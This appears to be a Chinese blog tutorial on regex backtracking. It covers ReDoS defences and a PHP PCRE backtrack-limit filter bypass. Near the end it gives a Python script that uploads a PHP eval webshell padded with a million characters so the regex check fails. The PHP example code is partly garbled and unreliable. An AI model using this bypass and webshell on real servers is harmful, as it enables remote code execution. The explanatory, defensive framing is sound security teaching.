正则回溯整理

目录

一、回溯绕过

二、防止正则表达式回溯绕过的方法

三、PHP利用PCRE回溯次数限制绕过某些安全限制

[1、 首先,来看一段PHP代码](#1、 首先,来看一段PHP代码)

2、正则回溯的过程

[3、PHP的pcre.backtrack_limit 限制利用](#3、PHP的pcre.backtrack_limit 限制利用)


一、回溯绕过

正则表达式的回溯绕过是指通过构造恶意输入,使得正则表达式引擎在匹配字符串时产生大量回溯操作,从而导致性能下降甚至造成拒绝服务(DoS)攻击。

由于模式中的量词(例如星号*、加号+、问号?、花括号{}等)使得可能有多种不同的匹配方式,导致引擎需要尝试不同的组合,直到找到匹配的结果。这种尝试的过程就称为回溯。回溯操作会导致时间复杂度呈指数级增长,对于复杂的正则表达式和长字符串,性能损失会非常明显。

攻击者可以通过构造一些恶意输入,使得正则表达式在尝试匹配时陷入大量的回溯过程,从而使得服务器的资源耗尽,无法继续响应其他请求,从而实现拒绝服务攻击。

回溯绕过是一种常见的正则表达式攻击手段,合理使用正则表达式引擎和对输入进行有效验证是防止此类攻击的关键。

二、防止正则表达式回溯绕过的方法

防止正则表达式回溯绕过的方法包括:

1. 使用非回溯性的正则表达式引擎:某些正则表达式引擎支持非回溯的匹配算法,例如"正则表达式2"(Regular Expression 2,RE2)引擎,该引擎能够保证线性时间复杂度,从而避免回溯导致的性能问题。

2. 限制正则表达式的复杂性:在编写正则表达式时,尽量避免使用过于复杂的表达式,特别是避免嵌套量词和回溯的使用。

3. 输入验证和过滤:对于用户输入的数据,进行有效的验证和过滤,确保输入符合预期的格式和内容,防止恶意输入进入正则表达式匹配的过程。

4. 采用其他字符串匹配算法:对于复杂的字符串匹配需求,可以考虑使用其他字符串匹配算法,如Aho-Corasick算法、Knuth-Morris-Pratt算法等,这些算法不涉及回溯,性能较为稳定。

三、PHP利用PCRE回溯次数限制绕过某些安全限制

1、 首先,来看一段PHP代码

<?php

function is_php($data){

return preg_match('/<\?.*[(`;?>].*/is', $data);

}

<?php eval()

if(!is_php($input)) {

// fwrite(f, input); ...

}

上面这段PHP代码实现了一个函数 is_php($data),用于检查输入的数据是否包含PHP代码片段。然后,在调用 is_php() 函数之后,代码使用 eval() 函数来执行用户输入的数据。这段代码存在严重的安全漏洞。

安全问题:

1. eval( ) 函数: eval( ) 函数用于执行字符串形式的PHP代码,但是这样的用法极其危险,因为它会执行任意代码,导致远程代码执行(Remote Code Execution,RCE)漏洞。不应该将未经验证的用户输入直接传递给 eval( )。

2. 正则表达式漏洞:正则表达式 '/<\?.*[(`;?>].*/is' 存在问题。该表达式试图匹配包含 <?`、```、`?> 等标记的任意字符,但是由于缺乏边界约束,可能导致误匹配和绕过。例如,<?php 在某些情况下可能被误认为是PHP代码片段,而其他语言的代码也可能被错误地匹配。

2、正则回溯的过程

正则表达式 :

/<\?.*[(`;?>].*/is

测试文本 :

<?php phpinfo();//aaaaa

所以,如上之后 实际执行流程是这样的:

1.第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。

2.所以 NFA 就开始回溯,先吐出一个 a,输入变成第6步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上

3.最终直到吐出;,输入变成第 13步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。14步开始向后匹配;,15步匹配 . 第二个.匹配到了字符串末尾,最后结束匹配。

3、PHP的pcre.backtrack_limit 限制利用

在PHP中,pcre.backtrack_limit 是一个配置选项,用于限制PCRE(Perl Compatible Regular Expressions)引擎的回溯深度。PCRE是PHP正则表达式引擎的一部分,它用于解析和匹配正则表达式。在PHP文档中,这个值一般是 100万

我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

对应的DOC如下

import requests

from io import BytesIO

files = {

'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)

}

res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)

print(res.headers)

相关推荐
zyx没烦恼1 小时前
TCP相关实验
服务器·网络·tcp/ip
(:满天星:)11 小时前
第31篇:块设备与字符设备管理深度解析(基于OpenEuler 24.03)
linux·运维·服务器·网络·centos
野蛮人6号12 小时前
虚拟机网络编译器还原默认设置后VMnet8和VMnet1消失了
网络·vmware·虚拟机网络编译器·vmnet8消失
scuter_yu13 小时前
主流零信任安全产品深度介绍
运维·网络·安全
江苏思维驱动智能研究院有限公司13 小时前
Sophos 网络安全:全球领先的自适应安全解决方案提供商
网络·安全·web安全
面朝大海,春不暖,花不开13 小时前
Java网络编程:TCP/UDP套接字通信详解
java·网络·tcp/ip
ChicagoTypewriter14 小时前
计算机网络中的常用表项梳理
网络·计算机网络·智能路由器
Bruce_Liuxiaowei17 小时前
常见高危端口风险分析与防护指南
网络·网络安全·端口·信息搜集
tmacfrank17 小时前
Android 网络全栈攻略(四)—— TCPIP 协议族与 HTTPS 协议
android·网络·https
liulilittle17 小时前
深度剖析:OPENPPP2 libtcpip 实现原理与架构设计
开发语言·网络·c++·tcp/ip·智能路由器·tcp·通信